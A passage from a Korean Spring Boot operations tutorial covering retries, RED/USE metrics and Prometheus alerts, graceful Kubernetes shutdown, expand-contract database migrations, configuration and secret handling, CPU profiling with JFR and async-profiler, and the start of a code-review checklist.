}
요청재시도
GET · 조회가능
PUT · DELETE (전체 교체)대개 가능
POST · 결제 · 발송멱등 키가 있을 때만
4xx 응답하지 않음 — 다시 해도 같음
재시도는 한 계층에서만 — 게이트웨이 · 서비스 · 클라이언트가 각자 3번씩 하면 27배입니다. 보통 호출하는 바로 그 지점 한 곳에서만, 지터를 넣어 동시에 몰리지 않게 합니다.
정리 — 타임아웃은 상대 p99.9 에서 출발해 정하고, 상위 예산 ≥ 하위 합 × 시도 횟수를 계산으로 확인합니다. 재시도는 한 계층 · 1회 · 지터 · 멱등 요청만, 그리고 서킷 브레이커가 열리면 재시도하지 않게. "기본값 그대로"는 대개 무한 대기라는 뜻입니다.
OPS 08

지표 대시보드 — RED · USE 와 꼭 걸어야 할 알람 10개

대시보드에 그래프 80개를 띄워 두면 장애 때 아무것도 안 보입니다. 필요한 것은 "사용자가 아픈가"(RED)와 "자원이 아픈가"(USE)를 한 화면에서 보는 것, 그리고 사람을 깨울 알람 10개입니다. 관측 가능성의 개념(지표 · 로그 · 트레이스)은 ⚡ 대규모 탭 SCALE 14, Actuator 기초는 🍃 Spring Boot 탭 BOOT 15에 있습니다.

장애 당일 대시보드 — 세로 점선이 배포 시각입니다 배포 v2.41 배포 v2.41 요청 수 1.2k/s 5xx 비율 2.1% ↑ p99 지연 4.8 s ↑ CPU 34% 힙 (GC 후) 41% GC 시간 1.2% Hikari 대기 37 톰캣 busy 200 배포 직후 가장 먼저 꺾인 줄(Hikari 대기)이 원인 쪽, 뒤따른 줄들이 증상 쪽입니다 평평한 줄 네 개(요청 · CPU · 힙 · GC)가 "트래픽 폭증도, 메모리도 아니다"를 말해 줍니다
스파크라인 — 누가 먼저 꺾였나를 보려고 그립니다. 평평한 줄도 가설을 지워 주는 정보입니다.

켜기 — 의존성 두 줄 + 설정

implementation("org.springframework.boot:spring-boot-starter-actuator")
runtimeOnly("io.micrometer:micrometer-registry-prometheus")
management:
  server:
    port: 8081                    # 관리 포트 분리 — 외부 LB 에 노출하지 않기
  endpoints:
    web:
      exposure:
        include: health,info,prometheus,metrics
  endpoint:
    health:
      probes:
        enabled: true             # /actuator/health/liveness · readiness (OPS 09)
  metrics:
    tags:
      application: order-api      # 모든 지표에 서비스 이름 태그
    distribution:
      percentiles-histogram:
        http.server.requests: true    # p99 를 PromQL 로 계산하려면 필수
server:
  tomcat:
    mbeanregistry:
      enabled: true               # tomcat_threads_busy_threads 지표
# prometheus.yml
scrape_configs:
  - job_name: order-api
    metrics_path: /actuator/prometheus
    scrape_interval: 15s
    static_configs:
      - targets: ['order-api:8081']

RED · USE — 대시보드 첫 줄과 둘째 줄

축무엇지표
Rate초당 요청http_server_requests_seconds_count
Errors5xx 비율위 지표의 status=~"5.."
Durationp99 지연..._seconds_bucket
UtilizationCPU · 힙process_cpu_usage · jvm_gc_live_data_size_bytes
Saturation줄 선 것hikaricp_connections_pending · 톰캣 busy
Errors자원 오류타임아웃 수 · 재시작 수
# R — 초당 요청
sum(rate(http_server_requests_seconds_count{application="order-api"}[1m]))

# E — 5xx 비율
sum(rate(http_server_requests_seconds_count{application="order-api",status=~"5.."}[5m]))
  / sum(rate(http_server_requests_seconds_count{application="order-api"}[5m]))

# D — p99 (엔드포인트별)
histogram_quantile(0.99, sum by (le, uri) (
  rate(http_server_requests_seconds_bucket{application="order-api"}[5m])))

# S — 톰캣 스레드 포화율
tomcat_threads_busy_threads / tomcat_threads_config_max_threads
RED 는 사용자 쪽, USE 는 자원 쪽 — 알람은 RED 로 걸고(사용자가 아플 때 깨움), 원인은 USE 로 찾습니다. CPU 90% 라도 사용자가 멀쩡하면 새벽에 사람을 깨울 일은 아닙니다.

한 단계 더 — 꼭 걸어야 할 알람 10개 🟡 중급

#알람조건 (예시값)임계값 근거등급
15xx 비율> 1% 가 5분 지속SLO 99.9% 의 에러 예산을 10배 속도로 태우는 수준호출
2p99 지연> SLO × 2 가 10분SLO 가 500 ms 면 1 s. 순간 튐은 for 로 거름호출
3트래픽 급감지난주 같은 시각의 50% 미만조용한 장애(앞단 차단 · DNS) 는 에러율로 안 잡힘호출
4인스턴스 다운up == 0 1분스크레이프 실패 = 프로세스 · 네트워크 이상호출
5재시작 반복15분에 2회 초과OOMKilled · liveness 실패의 신호호출
6GC 후 힙> 85% 가 15분누수 조기 경보 — OOM 몇 시간 전 (OPS 03)티켓
7GC 시간 비율> 10% (5분 평균)처리량이 깎이기 시작하는 지점티켓
8Hikari 대기pending > 0 이 3분정상이면 0 — 지속되면 고갈 직전 (OPS 05)호출
9톰캣 포화busy / max > 90% 5분남은 10% 가 사라지면 요청이 줄 섬티켓
10디스크 · 인증서여유 < 15% · 만료 < 14일예측 가능한 장애 — 근무 시간에 처리티켓

실무에선 이렇게 — 알람 규칙 파일과 운영 원칙 🔴 실무

Prometheus 알람 규칙 — 1 · 3 · 6 · 8번

groups:
  - name: order-api
    rules:
      - alert: OrderApiHighErrorRate
        expr: |
          sum(rate(http_server_requests_seconds_count{application="order-api",status=~"5.."}[5m]))
            / sum(rate(http_server_requests_seconds_count{application="order-api"}[5m])) > 0.01
        for: 5m
        labels: { severity: page }
        annotations:
          summary: "주문 API 5xx {{ $value | humanizePercentage }}"
          runbook_url: "https://wiki.internal/runbook/order-api#5xx"

      - alert: OrderApiTrafficDrop
        expr: |
          sum(rate(http_server_requests_seconds_count{application="order-api"}[10m]))
            < 0.5 * sum(rate(http_server_requests_seconds_count{application="order-api"}[10m] offset 1w))
        for: 10m
        labels: { severity: page }

      - alert: OrderApiHeapAfterGcHigh
        expr: |
          max(jvm_gc_live_data_size_bytes{application="order-api"}
            / jvm_gc_max_data_size_bytes{application="order-api"}) > 0.85
        for: 15m
        labels: { severity: ticket }

      - alert: OrderApiDbPoolPending
        expr: max(hikaricp_connections_pending{application="order-api"}) > 0
        for: 3m
        labels: { severity: page }

알람이 '양치기 소년'이 되지 않게

원칙이유
모든 알람에 runbook_url새벽에 받은 사람이 할 일을 바로 앎
for: 를 꼭 둠순간 튐에 깨우지 않음 (깜빡임 방지)
호출(page) vs 티켓지금 사람이 필요한가로 가름
울렸는데 할 일이 없었다면그 알람을 고치거나 지움
한 원인에 알람 하나같은 장애에 20개가 울리면 아무것도 안 읽힘
"혹시 모르니까" 알람의 끝 — 주 50번 울리는 알람은 결국 무음 처리되고, 진짜 장애 때도 아무도 안 봅니다. 한 달 동안 울린 알람 중 실제 조치로 이어진 비율을 세어 보세요. 절반이 안 되면 알람이 너무 많은 것입니다.
지표 이름 확인은 직접 — 버전마다 이름이 조금씩 다릅니다. curl -s localhost:8081/actuator/prometheus | grep -E "^(hikaricp|jvm_gc|tomcat_threads)" | cut -d'{' -f1 | sort -u 로 지금 앱이 내보내는 이름을 먼저 보세요.
정리 — 대시보드 첫 줄은 RED(요청 · 에러 · 지연), 둘째 줄은 USE(CPU · 힙 · 풀 대기 · 스레드 포화). 알람은 사용자 증상(RED)으로 깨우고, 자원(USE)은 티켓으로. 모든 알람에 for: 와 런북 링크를 붙이고, 울렸는데 할 일이 없던 알람은 지웁니다.
OPS 09

무중단 배포 — 끄는 순서와 DB 호환이 전부

배포할 때마다 5xx 가 몇십 건씩 튄다면 원인은 둘 중 하나입니다. 파드를 끄는 순서가 틀렸거나, 새 코드와 옛 코드가 같은 DB 를 동시에 쓰는 몇 분을 생각하지 않은 것입니다. 쿠버네티스 · Docker 배포 기초는 🍃 Spring Boot 탭 BOOT 16~17에 있고, 여기서는 그 두 가지만 정확히 맞춥니다.

파드 종료 시퀀스 — 세로가 시간, 아래로 갈수록 나중입니다 쿠버네티스 서비스 엔드포인트 앱 (Spring) 진행 중 요청 1. 엔드포인트에서 제거 2. preStop — sleep 10초 (LB 갱신 대기) 3. SIGTERM 4. 새 요청 거부 5. 진행 중 완료 대기 응답 완료 6. 종료 — 최대 30초 (timeout-per-shutdown-phase) terminationGracePeriodSeconds 45 ≥ preStop 10 + 종료 단계 30 + 여유 1과 2가 동시에 일어납니다 — sleep 이 없으면 LB 가 죽어 가는 파드로 계속 보냅니다
시퀀스 — 1번과 2번이 같은 순간이라는 것이 핵심입니다. preStop 의 sleep 은 버그 회피가 아니라 이 경쟁을 흡수하는 장치입니다.

앱 쪽 — application.yml

server:
  shutdown: graceful            # Boot 3.4+ 는 기본값. 그 이전 버전은 반드시 명시
spring:
  lifecycle:
    timeout-per-shutdown-phase: 30s   # 진행 중 요청을 기다리는 최대 시간

management:
  endpoint:
    health:
      probes:
        enabled: true
        add-additional-paths: true    # 메인 포트(8080)에 /livez · /readyz 추가
      group:
        readiness:
          include: readinessState    # 필요하면 핵심 의존성만 추가
        liveness:
          include: livenessState     # ★ 외부 의존성 절대 넣지 않기
프로브는 메인 포트로 — 관리 포트(8081)를 분리했다면 프로브가 8081 을 보는 동안 정작 8080 이 막혀 있어도 "건강함"으로 나올 수 있습니다. add-additional-paths 로 메인 포트의 /livez · /readyz 를 보게 합니다.

쿠버네티스 쪽 — Deployment

spec:
  replicas: 4
  strategy:
    rollingUpdate: { maxUnavailable: 0, maxSurge: 1 }   # 항상 4대 이상 유지
  template:
    spec:
      terminationGracePeriodSeconds: 45
      containers:
        - name: order-api
          startupProbe:                     # 기동이 끝날 때까지 liveness 를 미룸
            httpGet: { path: /livez, port: 8080 }
            periodSeconds: 5
            failureThreshold: 36            # 최대 3분
          readinessProbe:
            httpGet: { path: /readyz, port: 8080 }
            periodSeconds: 5
            failureThreshold: 2
          livenessProbe:
            httpGet: { path: /livez, port: 8080 }
            periodSeconds: 10
            failureThreshold: 6             # 1분 — GC · 덤프 순간에 죽이지 않게
          lifecycle:
            preStop:
              exec: { command: ["sh", "-c", "sleep 10"] }

한 단계 더 — 프로브 세 개의 역할 🟡 중급

무엇을 넣고 무엇을 빼나

프로브실패하면넣을 것넣지 말 것
startup재시작기동 완료 여부—
readiness트래픽에서 뺌워밍업 · 종료 중 · 핵심 의존성(신중히)느린 외부 API
liveness재시작프로세스가 진짜 고장(데드락)DB · Redis · 외부 API
❌ liveness 에 DB 체크
DB 가 10초 흔들리면 모든 파드가 동시에 재시작 — 작은 장애가 전면 장애로.
✅ liveness 는 자기 자신만
DB 가 아프면 요청이 실패할 뿐 재시작해도 낫지 않습니다. 재시작은 고쳐질 때만.

배포 중 5xx 가 튈 때 점검표

# ① 종료 로그 — 우아한 종료가 실제로 일어났나
kubectl -n shop logs order-api-old-xxxx --previous | grep -i "graceful"
#   Commencing graceful shutdown. Waiting for active requests to complete
#   Graceful shutdown complete                       ← 이 줄이 있어야 정상

# ② SIGKILL 로 잘렸나 — exit 137 이면 grace period 부족
kubectl -n shop get events --field-selector reason=Killing

# ③ 새 파드가 준비되기 전에 트래픽을 받았나 — 첫 요청 지연
kubectl -n shop get pods -w        # READY 1/1 이 되는 시각과 첫 5xx 비교
워밍업 전 트래픽 — JIT · 커넥션 풀 · 캐시가 차기 전 첫 몇 초는 느립니다. ApplicationRunner 에서 풀을 미리 채우고, 준비가 끝난 뒤에만 AvailabilityChangeEvent.publish(ctx, ReadinessState.ACCEPTING_TRAFFIC) 하는 방식도 씁니다.

실무에선 이렇게 — DB 마이그레이션은 expand-contract 🔴 실무

컬럼 이름 바꾸기 — 한 번의 ALTER 가 아니라 여섯 번의 작은 배포 컬럼 추가 NULL 허용 둘 다 쓰기 앱 v2 백필 옛 → 새 복사 새 것 읽기 앱 v3 옛 쓰기 끝 앱 v4 옛 것 삭제 되돌릴 수 없음 여기까지는 언제 롤백해도 안전 앱이 옛 컬럼을 안 쓰는 게 확인된 뒤에만 어느 순간에도 '지금 배포된 앱'과 '바로 이전 앱'이 같은 스키마에서 돌아야 합니다 이 규칙만 지키면 OPS 01 의 롤백 버튼을 언제든 누를 수 있습니다
파이프라인 — 되돌릴 수 없는 단계는 맨 끝 하나뿐이게 쪼갭니다. 그래서 롤백이 늘 가능합니다.

Flyway 로 나눠 쓰기 — user_name → display_name

-- V41__add_display_name.sql        (① 확장 — 앱 v1 과도 호환)
ALTER TABLE member ADD COLUMN display_name VARCHAR(100) NULL;

-- 앱 v2: 저장할 때 user_name · display_name 둘 다 씀

-- V42__backfill_display_name.sql    (③ 백필 — 큰 테이블은 배치로 나눠서)
UPDATE member SET display_name = user_name
WHERE  display_name IS NULL AND id BETWEEN 1 AND 100000;

-- 앱 v3: display_name 을 읽음 · v4: user_name 쓰기 중단

-- V45__drop_user_name.sql           (⑥ 수축 — 최소 한 번의 배포 주기 뒤)
ALTER TABLE member DROP COLUMN user_name;

호환되지 않는 변경 · 안전한 대체

한 번에 하면 깨지는 것안전한 대체
컬럼 이름 변경위의 6단계
NOT NULL 컬럼 추가NULL 허용 + 기본값 → 백필 → 제약 추가
컬럼 삭제코드에서 먼저 제거 → 다음 배포에 DROP
타입 변경새 컬럼 추가 후 이전
큰 테이블 인덱스PG CONCURRENTLY · MySQL 온라인 DDL
JPA 엔티티의 함정 — 옛 앱 v1 의 엔티티에 없는 NOT NULL 컬럼이 생기면 v1 의 INSERT 가 전부 실패합니다. 그리고 spring.jpa.hibernate.ddl-auto 는 운영에서 반드시 validate 또는 none 입니다 — 스키마는 Flyway 만 바꿉니다.
정리 — 끌 때는 preStop sleep → SIGTERM → 새 요청 거부 → 진행 중 완료 → 종료, grace period 는 그 합보다 길게. liveness 에는 외부 의존성을 넣지 않고, DB 변경은 expand-contract 로 쪼개서 "지금 앱과 이전 앱이 같은 스키마에서 돈다"를 늘 지킵니다.
OPS 10

설정 · 비밀 관리 — "어느 값이 이겼나"와 "어디에 남았나"

설정 사고는 두 가지입니다. 운영에 개발 설정이 올라간 것(우선순위를 몰라서), 그리고 비밀번호가 Git 이나 로그에 남은 것(경계를 몰라서). 둘 다 코드 리뷰로는 잘 안 보이고 장애나 보안 사고로 드러납니다. 프로파일 · application.yml 기초는 🍃 Spring Boot 탭 BOOT 05에 있습니다.

같은 키가 여러 곳에 있으면 위가 이깁니다 — 8층 중 자주 쓰는 것만 높음 낮음 커맨드라인 인자 --server.port=9090 · 일회성 덮어쓰기 SPRING_APPLICATION_JSON 환경 변수 하나에 JSON 통째로 자바 시스템 속성 (-D) -Dspring.profiles.active=prod OS 환경 변수 SPRING_DATASOURCE_PASSWORD ← 비밀은 여기 jar 밖 application-prod.yml /config/ · 운영자가 관리 jar 밖 application.yml 실행 위치의 ./config/ jar 안 application-prod.yml 프로파일별 기본값 — 비밀 없이 jar 안 application.yml 개발 기본값 · 가장 약함 "설정을 바꿨는데 안 먹어요"의 대부분은 위층 어딘가에 같은 키가 남아 있는 것입니다 확인은 추측 말고 /actuator/env/키이름 — 어느 층에서 왔는지 그대로 나옵니다
레이어 — 프로파일 파일은 같은 위치의 기본 파일을 이기고, jar 밖은 jar 안을 이깁니다. 환경 변수는 그 전부를 이깁니다.

운영에서 설정을 넣는 표준 방식

# jar 안 application.yml — 비밀 없이, 외부에서 받을 자리만
spring:
  config:
    import:
      - optional:file:/etc/order-api/          # 운영자가 두는 파일
      - optional:configtree:/run/secrets/      # 쿠버네티스 Secret 마운트
  datasource:
    url: ${DB_URL:jdbc:postgresql://localhost:5432/shop}
    username: ${DB_USER:shop}
    password: ${DB_PASSWORD}                   # 기본값 없음 — 없으면 기동 실패
# 쿠버네티스 — Secret 을 파일로 마운트하면 파일 이름이 곧 키
apiVersion: v1
kind: Secret
metadata: { name: order-api-secret }
stringData:
  spring.datasource.password: "s3cr3t-from-vault"
---
# Deployment 일부
env:
  - { name: SPRING_PROFILES_ACTIVE, value: "prod" }
volumeMounts:
  - { name: secrets, mountPath: /run/secrets, readOnly: true }
volumes:
  - { name: secrets, secret: { secretName: order-api-secret } }

"이 값이 어디서 왔지?" — 확인 명령

# 키 하나의 최종값과 출처 (show-values 권한 필요)
curl -s localhost:8081/actuator/env/spring.datasource.url | jq '.property'
#   { "source": "applicationConfig: [file:/etc/order-api/application-prod.yml]",
#     "value": "jdbc:postgresql://db-prod:5432/shop" }

# @ConfigurationProperties 빈이 실제로 받은 값
curl -s localhost:8081/actuator/configprops | jq '.contexts[].beans
  | with_entries(select(.key | test("payment")))'

# 지금 켜진 프로파일 — 기동 로그 첫 몇 줄에도 찍힙니다
#   The following 1 profile is active: "prod"
Boot 3 는 /actuator/env 값을 기본으로 가립니다 — management.endpoint.env.show-values 기본값이 never 라 전부 ****** 로 나옵니다. 운영에서는 when-authorized 로 두고 관리자 역할에게만 보이게 하세요. always 는 금지입니다.

한 단계 더 — 잘못된 설정이면 아예 뜨지 않게 🟡 중급

@ConfigurationProperties + 검증 — 기동 시점에 실패

// build.gradle.kts: implementation("org.springframework.boot:spring-boot-starter-validation")

@Validated
@ConfigurationProperties(prefix = "payment")
public record PaymentProperties(
        @NotBlank String baseUrl,
        @NotNull Duration connectTimeout,
        @NotNull Duration readTimeout,
        @Min(1) @Max(3) int maxAttempts,
        @NotBlank String apiKey) {

    @Override   // record 기본 toString 은 apiKey 를 그대로 찍습니다 ★
    public String toString() {
        return "PaymentProperties[baseUrl=%s, readTimeout=%s, apiKey=****]"
                .formatted(baseUrl, readTimeout);
    }
}

@SpringBootApplication
@ConfigurationPropertiesScan          // 위 record 를 자동 등록
public class OrderApiApplication { ... }

기동 실패 메시지 — 이게 나오면 성공입니다

***************************
APPLICATION FAILED TO START
***************************

Description:

Binding to target com.shop.payment.PaymentProperties failed:

    Property: payment.readTimeout
    Value: "null"
    Reason: must not be null

Action:

Update your application's configuration
방식잘못된 값이면
@Value("${payment.read-timeout}")키가 없을 때만 실패 · 범위 검증 없음
@ConfigurationProperties + @Validated기동 실패 — 배포가 멈춤
코드에서 읽을 때 검사첫 요청에서야 터짐 — 최악
"뜨지 않는 것"이 왜 좋은가 — 롤링 배포에서 새 파드가 안 뜨면 readiness 가 안 되고, 옛 파드가 그대로 트래픽을 받습니다. 잘못된 설정이 사용자에게 닿기 전에 배포가 멈춥니다.

실무에선 이렇게 — 비밀이 새는 네 군데 🔴 실무

❌ 흔히 새는 자리
// ① Git — application-prod.yml 에 평문
spring.datasource.password: Pr0d!2026

// ② 로그 — 객체를 통째로 찍음 (record · Lombok @Data 의 toString)
log.info("결제 설정 로드: {}", paymentProperties);
log.debug("요청 바디: {}", requestJson);       // 카드번호 · 비밀번호 포함

// ③ 예외 메시지 — URL 에 키가 붙은 채
throw new IllegalStateException("호출 실패: " + url);  // ...?apiKey=sk_live_...

// ④ 이미지 — Dockerfile 의 ENV · ARG 는 이미지 레이어에 남음
ENV DB_PASSWORD=Pr0d!2026
✅ 막는 방법
// ① 비밀은 환경 변수 · 마운트 파일 · Vault 에서. Git 에는 자리만
spring.datasource.password: ${DB_PASSWORD}

// ② toString 을 가리거나, 필요한 필드만 찍기
log.info("결제 설정 로드 baseUrl={} readTimeout={}",
        props.baseUrl(), props.readTimeout());

// ③ URL 은 키를 뺀 형태로
throw new IllegalStateException("호출 실패: " + uri.getHost() + uri.getPath());

// ④ 런타임 주입 — 이미지에는 아무 비밀도 넣지 않음
// docker run -e DB_PASSWORD="$(vault kv get -field=pw secret/order)" ...

Git 에 올라갔다면 — 순서가 중요합니다

# ① 먼저 '회전' — 키 · 비밀번호를 새로 발급하고 옛 것을 폐기
#    커밋을 지우는 것보다 이게 먼저입니다. 이미 복제됐다고 가정하세요.

# ② 그다음 기록에서 제거 (git-filter-repo)
git filter-repo --path config/application-prod.yml --invert-paths

# ③ 다시는 안 들어오게 — 커밋 전 검사
gitleaks protect --staged      # pre-commit 훅으로
gitleaks detect --source .     # CI 에서 저장소 전체

설정 · 비밀 점검표

항목기준
jar 안 yml 에 운영 비밀0개
운영 ddl-autovalidate · none
show-values · show-detailswhen-authorized 이하
비밀을 담은 record · DTOtoString 재정의
관리 포트(8081) 외부 노출없음
비밀 회전 주기 · 담당문서로 존재
Jasypt 같은 '암호화된 설정'은 복호화 키를 또 어딘가 둬야 하므로 문제를 한 칸 옮길 뿐입니다. 가능하면 Vault · 클라우드 Secret Manager · 쿠버네티스 Secret(+ 저장 암호화)처럼 플랫폼이 관리하는 저장소를 쓰세요.
정리 — 같은 키는 환경 변수 > jar 밖 파일 > jar 안 파일 순으로 이기고, 출처는 /actuator/env/키 로 확인합니다. 설정은 @ConfigurationProperties + @Validated 로 틀리면 뜨지 않게, 비밀은 Git · 로그 · 예외 · 이미지 네 곳에 남지 않게. 새면 회전이 먼저입니다.
OPS 11

CPU 프로파일링 — JFR 과 플레임 그래프로 핫스팟 찾기

"CPU 가 90% 인데 왜죠?"에 스레드 덤프는 약한 답만 줍니다 — 사진 몇 장으로는 짧게 자주 도는 코드가 안 잡힙니다. 프로파일러는 1초에 수십~수백 번 스택을 표본 추출해서 "CPU 시간이 어느 메서드에 갔나"를 비율로 보여 줍니다. 운영에서 켜도 되는 두 도구, JFR과 async-profiler를 다룹니다. JIT · 성능 최적화 이론은 🧬 고급 탭 ADV 10 · 🔬 전문가 탭 DEEP 15에 있습니다.

플레임 그래프 — 세로는 호출 깊이, 가로 폭이 CPU 를 쓴 비율 넓은 지붕 — String.format 이 CPU 의 34% Pattern.compile 14% — 호출마다 컴파일 Formatter.parse compile Hibernate · JDBC String.format Pattern write OrderService.find OrderMapper.toDto — 53% Jackson OrderController.list DispatcherServlet.doDispatch GC Thread.run · Tomcat 워커 — 100% 우리 코드 JDK · 라이브러리 핫스팟(넓은 지붕) 높이가 아니라 폭을 봅니다 — 위가 평평하고 넓은 칸이 CPU 를 직접 쓰는 곳입니다 가로 순서는 시간이 아니라 이름순입니다 — 좌우 위치에는 뜻이 없습니다
플레임 그래프 — 넓은 지붕을 찾고, 그 아래로 내려가 우리 코드 중 가장 가까운 칸을 고칩니다. 여기서는 OrderMapper.toDto 입니다.

JFR — JDK 에 들어 있는 비행 기록 장치

# 지금 60초 녹화 (profile 설정 = 표본 추출 더 촘촘, 부담 약 2%)
jcmd 1 JFR.start name=cpu settings=profile duration=60s filename=/tmp/cpu.jfr
jcmd 1 JFR.check                     # 진행 상황

# 항상 켜 두기 — 최근 6시간을 디스크에 순환 보관 (default 설정, 부담 약 1%)
-XX:StartFlightRecording=name=bg,settings=default,disk=true,maxage=6h,maxsize=1g,dumponexit=true,filename=/dumps/

# 장애가 난 '지금까지'를 꺼내기 — 재현할 필요가 없습니다 ★
jcmd 1 JFR.dump name=bg filename=/dumps/incident-0214.jfr

# 터미널에서 바로 보기 (Java 21+)
jfr view hot-methods /tmp/cpu.jfr
jfr view gc-pauses   /tmp/cpu.jfr
jfr summary          /tmp/cpu.jfr
항상 켜 둔 JFR 이 장애 때 가장 값집니다 — 문제는 대개 재현이 안 됩니다. 순환 녹화가 켜져 있으면 JFR.dump 한 번으로 장애 직전 몇 시간이 통째로 남습니다. GUI 분석은 JDK Mission Control(JMC) 로 엽니다.

async-profiler — 플레임 그래프 한 방

# 30초 CPU 프로파일 → 브라우저로 여는 HTML 플레임 그래프
asprof -d 30 -e cpu -f /tmp/flame-cpu.html 1

# 컨테이너에서 perf_events 를 못 쓰면 (권한 · 커널 설정)
asprof -d 30 -e itimer -f /tmp/flame-cpu.html 1

# 느린데 CPU 는 낮다? — 대기 시간까지 포함 (스레드별)
asprof -d 30 -e wall -t -f /tmp/flame-wall.html 1

# 할당이 많은 곳 (GC 가 잦을 때) · 락 경합
asprof -d 30 -e alloc -f /tmp/flame-alloc.html 1
asprof -d 30 -e lock  -f /tmp/flame-lock.html 1
모드이럴 때
cpuCPU 사용률이 높다
wall느린데 CPU 는 한가 — I/O · 락 대기
allocGC 가 잦다 · 할당률이 높다
lockBLOCKED 가 많다 (OPS 02)

한 단계 더 — 플레임 그래프 읽는 규칙 🟡 중급

다섯 가지 규칙

#규칙
1폭 = 비율. 높이(깊이)는 중요하지 않음
2위가 평평하고 넓은 칸이 CPU 를 직접 쓰는 곳(self time)
3그 아래로 내려가며 우리 패키지 중 가장 위 칸을 찾음 — 고칠 곳
4좌우 순서는 이름순 — 시간 흐름이 아님
5클릭하면 확대, 검색(Ctrl+F)으로 패키지 하이라이트
프로파일은 '부하가 있을 때' 떠야 합니다 — 한가할 때 뜨면 GC · 타이머만 보입니다. 운영 피크 시간대나 부하 테스트(⚡ 대규모 탭 SCALE 15) 중에 뜨세요.

jfr view hot-methods 출력 읽기

                         Java Methods that Executes the Most

Method                                                   Samples Percent
-------------------------------------------------------- ------- -------
java.util.Formatter.parse(String)                           4102  21.3%
java.util.regex.Pattern.compile(String)                     1688   8.8%
java.lang.AbstractStringBuilder.ensureCapacityInternal(int) 1210   6.3%
com.fasterxml.jackson.core.json.UTF8JsonGenerator.writeString 955   5.0%
...
→ 맨 위 두 줄의 '호출한 쪽'을 찾으면 OrderMapper.toDto 가 나옵니다
  (JMC 의 Method Profiling → Stack Trace 또는 플레임 그래프에서)

실무에선 이렇게 — 자주 나오는 핫스팟과 처방 🔴 실무

❌ 요청마다 · 원소마다 비싼 일
OrderDto toDto(Order o) {
    // ① 원소마다 String.format — 포맷 문자열을 매번 파싱
    String label = String.format("%s-%05d", o.channel(), o.id());

    // ② 호출마다 정규식 컴파일
    boolean vip = o.memo().matches("^VIP[0-9]+$");

    // ③ 요청마다 ObjectMapper 생성 (내부 캐시가 매번 초기화)
    String json = new ObjectMapper().writeValueAsString(o.items());

    // ④ 예외를 흐름 제어로 — 스택 추적 생성 비용
    try { Integer.parseInt(o.code()); } catch (NumberFormatException e) { ... }
    return new OrderDto(label, vip, json);
}
✅ 한 번만 만들고, 싼 연산으로
private static final Pattern VIP = Pattern.compile("^VIP[0-9]+$");
private final ObjectMapper mapper;            // 스프링이 주입한 싱글턴

OrderDto toDto(Order o) {
    // ① 단순 연결 + 패딩 (format 보다 수 배 빠름)
    String id = Long.toString(o.id());
    String label = o.channel() + "-" + "0".repeat(Math.max(0, 5 - id.length())) + id;

    // ② 미리 컴파일한 패턴 재사용 (Pattern 은 스레드 안전)
    boolean vip = VIP.matcher(o.memo()).matches();

    // ③ 공유 ObjectMapper (설정 후 스레드 안전)
    String json = mapper.writeValueAsString(o.items());

    // ④ 검사로 대체
    boolean numeric = !o.code().isEmpty() && o.code().chars().allMatch(Character::isDigit);
    return new OrderDto(label, vip, json);
}

고친 뒤에는 같은 조건으로 다시 잽니다

# 같은 부하 · 같은 시간으로 전후 비교
asprof -d 60 -e cpu -f before.html 1     # 배포 전
asprof -d 60 -e cpu -f after.html  1     # 배포 후

# JFR 두 개를 나란히 — 상위 메서드 비율이 바뀌었는지
jfr view hot-methods before.jfr | head -15
jfr view hot-methods after.jfr  | head -15

운영에서 켤 때 주의

항목기준
JFR default상시 켜도 됨 (약 1%)
JFR profile · asprof cpu수십 초~수 분 단위로
asprof alloc · lock짧게 — 부담이 더 큼
결과 파일클래스 · 메서드 이름 포함 — 사내 보관
미세 최적화는 측정이 먼저 — 플레임 그래프에서 1% 짜리 칸을 고치면 1% 이상 빨라질 수 없습니다. 폭이 10% 넘는 칸만 고칠 가치가 있고, 고친 결과는 같은 조건의 재측정으로 확인합니다.
정리 — CPU 가 높으면 asprof -e cpu 30초로 플레임 그래프, 느린데 CPU 가 낮으면 -e wall. JFR 은 항상 켜 두고 장애 때 JFR.dump 로 직전 기록을 꺼냅니다. 읽을 때는 폭이 넓은 지붕 → 그 아래 우리 코드, 고친 뒤에는 같은 조건으로 다시 잽니다.
OPS 12

코드 리뷰 체크리스트 — 장애를 PR 에서 막기

이 탭 앞의 열한 섹션에 나온 장애는 거의 전부 코드 몇 줄에서 시작했습니다. 리뷰에서 "변수명이 어색해요"보다 먼저 볼 것은 운영에서 터지는 여섯 갈래입니다. 각 갈래를 나쁜 예 · 좋은 예로 정리했습니다 — 리뷰 코멘트에 그대로 붙여 쓸 수 있게.

리뷰에서 먼저 볼 여섯 갈래 — 이름 짓기보다 이것이 먼저입니다 PR 리뷰 여섯 갈래부터 동시성 공유 HashMap · 재고 음수 트랜잭션 경계 안에서 외부 호출 · 자기 호출 예외 처리 삼키기 · 원인 유실 로깅 비밀 노출 · 맥락 없음 쿼리 N+1 · 무제한 조회 타임아웃 기본값 = 무한 대기 여섯 갈래 모두 테스트는 통과합니다 — 트래픽 · 동시성 · 장애 상황에서만 드러납니다
허브 — 가운데는 하나, 갈래는 여섯. 이 여섯 가지는 단위 테스트로 안 잡히므로 사람의 눈이 마지막 방어선입니다.

갈래 ①② — 동시성 · 트랜잭션 경계 🟡 중급

❌ 싱글턴 빈의 가변 필드 · 검사 후 행동 · 자기 호출
@Service
public class StockService {
    private final Map<Long, Integer> cache = new HashMap<>(); // 요청 스레드가 동시에 씀
    private int calls;                                         // calls++ 는 원자적이지 않음

    public void decrease(Long id, int qty) {
        Product p = repo.findById(id).orElseThrow();
        if (p.getStock() >= qty)                  // 둘이 동시에 통과 → 재고 음수
            p.setStock(p.getStock() - qty);
    }

    public void placeAll(List<OrderReq> reqs) {
        reqs.forEach(this::place);                // this 호출 → 프록시 안 거침
    }
    @Transactional                                // → 이 애너테이션이 무시됨
    public void place(OrderReq r) { ... }
}
✅ 상태는 스레드 안전하게 · 조건은 DB 가 원자적으로
@Service
public class StockService {
    private final ConcurrentHashMap<Long, Integer> cache = new ConcurrentHashMap<>();
    private final LongAdder calls = new LongAdder();

    @Transactional
    public void decrease(Long id, int qty) {
        // UPDATE product SET stock = stock - :qty
        //  WHERE id = :id AND stock >= :qty
        if (repo.decreaseIfEnough(id, qty) == 0)
            throw new OutOfStockException(id);
    }
}

// 트랜잭션이 필요한 메서드는 '다른 빈'에서 부르게
@Service @RequiredArgsConstructor
public class OrderBatch {
    private final OrderPlacer placer;             // @Transactional place() 보유
    public void placeAll(List<OrderReq> reqs) { reqs.forEach(placer::place); }
}

갈래 ③④ — 예외 처리 · 로깅 🟡 중급

❌ 삼키기 · 원인 버리기 · 비밀 찍기
try {
    paymentClient.approve(req);
} catch (Exception e) {
